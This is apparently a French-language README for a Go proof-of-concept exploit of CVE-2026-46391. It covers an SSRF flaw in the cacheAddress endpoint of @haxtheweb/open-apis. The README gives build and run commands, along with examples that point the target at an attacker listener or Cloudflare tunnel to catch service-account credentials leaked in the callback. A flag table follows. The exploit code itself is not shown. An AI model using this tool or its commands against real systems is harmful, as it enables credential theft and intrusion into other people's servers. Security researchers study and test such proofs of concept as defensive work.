bradyjmcl/cve-2026-46391Exploit de preuve de concept pour CVE-2026-46391
Preuve de concept pour CVE-2026-46391. Déclenche la vulnérabilité SSRF dans le endpoint cacheAddress de @haxtheweb/open-apis et capture les identifiants du compte de service envoyés dans le callback.
go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
Direct (même réseau que la cible) :
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
Via VPS/tunnel Cloudflare/etc. :
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
Port et délai d'attente personnalisés :
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60
| Flag | Description | Défaut |
|---|
-u, --url | Racine web cible (ex. http://10.10.0.80:3000) | requis |
-l, --listener | Votre IP/nom d'hôte ou URL de tunnel (ex. 192.168.1.10, https://uuid.trycloudflare.com) | requis |
-p, --port | Port local d'écoute | 8080 |
-t, --timeout | Secondes d'attente du callback | 30 |
-v, --verbose | Affiche les en-têtes et le corps de chaque requête entrante | désactivé |